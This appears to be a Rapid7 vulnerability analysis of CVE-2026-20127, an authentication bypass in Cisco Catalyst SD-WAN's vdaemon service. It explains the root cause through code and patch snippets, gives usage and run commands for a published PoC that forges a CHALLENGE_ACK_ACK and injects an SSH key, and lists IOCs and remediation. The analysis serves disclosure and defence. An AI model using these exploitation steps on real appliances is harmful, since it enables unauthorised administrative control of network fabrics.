Rapid7 Analysis: CVE-2026-20127

CVE-2026-20127: Cisco Catalyst SD-WAN Authentication Bypass

Overview

On 25th February 2026, Cisco published an advisory for CVE-2026-20127, a critical authentication bypass vulnerability in the vdaemon service of Cisco Catalyst SD-WAN (formerly Viptela). The flaw allows an unauthenticated, remote attacker to subvert the DTLS peering process. By forcing a session into an “Authenticated” state, attackers gain administrative access to the Controller (vSmart) and Manager (vManage), facilitating SSH key injection and subsequent fabric manipulation via NETCONF.

CVE-2026-20127 carries a CVSSv3.1 score of 10.0 (Critical) and is associated with CWE-287: Improper Authentication. A recent investigation by Cisco Talos revealed active exploitation by the threat actor UAT-8616 dating back to 2023.

Impact

Analysis of UAT-8616’s activity confirms that CVE-2026-20127 serves as a primary entry primitive for a “Regression Chain” strategy used to achieve persistent root access:

1. Initial Foothold: Exploit CVE-2026-20127 to inject an SSH key for the vmanage-admin user.
2. Firmware Downgrade: Use administrative CLI privileges to force a downgrade to legacy firmware.
3. Legacy Exploitation: Leverage known privilege escalation vulnerabilities (e.g., CVE-2022-20775) present in downgraded versions.
4. Anti-Forensic Restoration: Re-apply modern firmware to hide the evidence of the version downgrade while maintaining an OS-level backdoor.

Analysis

Our analysis will detail the “Initial Foothold” portion of the threat actors chain. Showing how CVE-2026-20127 can be used to bypass authentication and inject an attacker controlled SSH key for the vmanage-admin user. Finally we will demonstrate how the attacker can leverage this capability to access the NETCONF service and run arbitrary NETCONF commands.

We focused our analysis on version 20.12.5 of the vdaemon service. The service manages proprietary control-plane peering over both UDP and TCP port 12346 (using DTLS and TLS, respectively). Because the authentication bypass resides in the protocol’s state machine logic rather than the transport layer, the vulnerability is reachable via either encrypted tunnel once established.

We identify the following virtual addresses as relevant functions within the compiled binaries.

Encapsulated Packet Anatomy

This visualizes the “decapsulation” process. It shows that while the outside is a standard DTLS 1.2 packet, the inside is the proprietary vdaemon protocol where the vulnerability resides.

+-----------------------+
| UDP Header (Port)     |
+-----------------------+
| DTLS 1.2 Record       |
+-----------------------+ <--- Decryption Boundary
| vdaemon Header (12B)  |
+-----------------------+
| vdaemon Body          |
+-----------------------+

The vdaemon message wire format for a CHALLENGE_ACK_ACK message is as follows:

Note: After decryption and parsing, the vulnerable code loads this message into an internal buffer structure where verify_status is accessed at offset +0x20 relative to the p_msg pointer in memory, accounting for additional header/padding fields in the internal representation.

The Dispatcher Gate (vbond_proc_msg)

The first stage of vbond_proc_msg is a security gate. It evaluates the peer’s authentication status at offset +0x46 of the peer structure, shown as p_peer->is_authenticated below.

In the vulnerable version, the dispatcher maintained an “Allow List” that explicitly whitelisted CHALLENGE_ACK_ACK (Type 10) messages. This allowed unauthenticated peers to pass through the gate. The patch remediates this by removing the Type 10 exemption ([1]).

  if (p_peer->is_authenticated != 1) {
      /* The "Allow List": Handshake messages permitted before authentication */
      if ((msg_type != 5)  && (msg_type != 8) &&
-         (msg_type != 9)  && (msg_type != 10) && // <-- [1]
+         (msg_type != 9)  &&
          (msg_type != 0)  && (msg_type != 7)) {

          return 0x14; // Reject: Unauthorized
      }
  }

The Vulnerable Router Logic (vbond_proc_msg)

After several hundred lines of intermediate logistical processing (version negotiation, timer setup, and identity logging), the function reaches vbond_proc_msg. This switch statement is responsible for calling the final handlers.

Because the gate (above) was flawed, an unauthenticated CHALLENGE_ACK_ACK (Type 10) message could reach its handler.

// Reachable if (is_authenticated == 1) OR (msg_type is whitelisted)
switch(msg_type) {
  case 10:
	  // This handler blindly sets is_authenticated (+0x46) to 1
	  return vbond_proc_challenge_ack_ack(p_vdaemon, p_peer, p_msg);

  case 14:
	  // This administrative handler is only reachable if is_authenticated == 1
	  return vbond_proc_vmanage_to_peer(p_vdaemon, p_peer, p_msg);
}

Root Cause: State Injection (vbond_proc_challenge_ack_ack)

Because the vulnerable dispatcher allowed a CHALLENGE_ACK_ACK (Type 10) message through the gate, the packet reached the vbond_proc_challenge_ack_ack handler. This function blindly trusts a verify_status byte at offset +0x20 of the decrypted message body.

The patch remediates this by removing the assignment logic entirely ([1]). The session state can now only be transitioned to “Authenticated” by the server’s own cryptographic verification results via a CHALLENGE_ACK (Type 9) message, rather than by a status bit provided by the peer.

// p_msg + 0x20 points to the verify_status bit
  if (p_msg->verify_status != 0) {
      // VULNERABLE: Forced assignment based on remote payload
-     p_peer->is_authenticated = 1; // <-- [1]
      syslog(0xbf, "Handshake completed via ACK_ACK for peer...");
      return 0;
  }

Privilege Escalation: Authentication Flag Usage (vbond_proc_vmanage_to_peer)

The is_authenticated flag at offset +0x46 acts as the master session key. By leveraging the CHALLENGE_ACK_ACK (Type 10) bypass to force this bit to 1, an attacker “unlocks” the dispatcher, granting access to the VMANAGE_TO_PEER (Type 14) message type.

The vbond_proc_vmanage_to_peer handler then:

1. Extracts the SSH public key from the VMANAGE_TO_PEER message body
2. Appends it to /home/vmanage-admin/.ssh/authorized_keys
3. Commits the change to persist the configuration

Once the SSH key is in place, the attacker can authenticate as vmanage-admin over SSH to port 830 (NETCONF service), achieving administrative control over the SD-WAN fabric.

Attack Summary

Exploitation

Rapid7 Labs published a PoC that can leverage CVE-2026-20127 to bypass authentication, and subsequently inject an SSH key.

Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

Example

In the example below, the PoC is run against a target Cisco Catalyst SD-WAN Controller appliance and a access to the NETCONF service is achieved.

# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.80.10

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.80.10 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i /home/cryptocat/Desktop/diff/CVE-2026-20127/data/ssh/attacker_ssh_20260311_093456 [email protected] -p 830

The following screenshot shows successful exploitation and subsequent SSH access to the NETCONF service:

IOCs

The following indicators are specific to the exploitation of CVE-2026-20127 and the subsequent administrative access achieved via the vdaemon protocol.

1. Control-Plane Peering Anomalies

Exploitation triggers a “Connection UP” event without the typical cryptographic identity exchange. The most distinct marker is the presence of null or uninitialized system identities.

High-Fidelity vsyslog Markers:

• Null Identities: Peering events where peer-system-ip is recorded as :: or 0.0.0.0.
• Unauthorized vManage/vSmart Peers: Connections from unrecognized IP addresses claiming high-privileged device roles.

Sample /var/log/vsyslog entry:

Mar  5 17:30:01 vsmart VDAEMON_0[1556]: %Viptela-vSmart-01-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"vSmart-01" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.80.130 public-port:38237 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up
Mar  5 17:30:13 vsmart VDAEMON_0[1556]: %Viptela-vSmart-01-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"vSmart-01" system-ip:1.1.1.2 personality:vsmart
Mar  5 17:30:13 vsmart VDAEMON_0[1556]: %Viptela-vSmart-01-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"vSmart-01" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.80.130 public-port:38237 src-color:public-internet remote-color:(null) uptime:"0:00:00:11" new-state:down

2. Immediate Post-Bypass Authentication

As demonstrated in the PoC, the immediate objective of the bypass is to inject an SSH key to the vmanage-admin account to enable CLI access.

High-Fidelity auth.log Markers:

• vmanage-admin SSH Access: Successful publickey authentication for the vmanage-admin user originating from the same IP address as a suspicious vdaemon peering event.
• NETCONF Connectivity: Successful SSH sessions to TCP port 830 (NETCONF) or TCP port 22 immediately following the “Connection UP” log.

Sample /var/log/auth.log entry:

Mar  5 17:37:32 vsmart sshd[30257]: Postponed publickey for vmanage-admin from 192.168.80.130 port 54314 ssh2 [preauth]
Mar  5 17:37:32 vsmart sshd[30257]: Accepted publickey for vmanage-admin from 192.168.80.130 port 54314 ssh2: RSA SHA256:wz2FD2K+z/6dLMnB1A3uzaRN7N2SnQ4kPgQZxSN+ERo
Mar  5 17:37:32 vsmart sshd[30257]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)

3. File Integrity: authorized_keys

The primary indicator for this specific vulnerability is the modification of the vmanage-admin SSH configuration.

• Artifact Path: /home/vmanage-admin/.ssh/authorized_keys
• Audit Action: Verify any new or unrecognized public keys. The PoC works by appending a key, so auditors should look for multiple keys where only one is expected.

Validation Checklist for Incident Responders

If a suspicious peering event is identified, responders should focus on the following to confirm CVE-2026-20127 exploitation:

Remediation

At the time of the advisory’s publication, Cisco does not recommend any workaround strategies for remediation. Organizations running affected instances of Cisco Catalyst SD-WAN Controller or Cisco Catalyst SD-WAN Manager should prioritize upgrading to a fixed version, as outlined below, to remediate CVE-2026-20127.

References

• Rapid7 Blog - Critical Cisco Catalyst Vulnerability Exploited in the wild (CVE-2026-20127)
• Cisco Security Advisory - CVE-2026-20127
• Cisco Talos Investigation: UAT-8616 SD-WAN Campaign
• CVE-2026-20127 - NVD
• CVE-2022-20775 - NVD
• Rapid7 vdaemon Authentication Bypass PoC - GitHub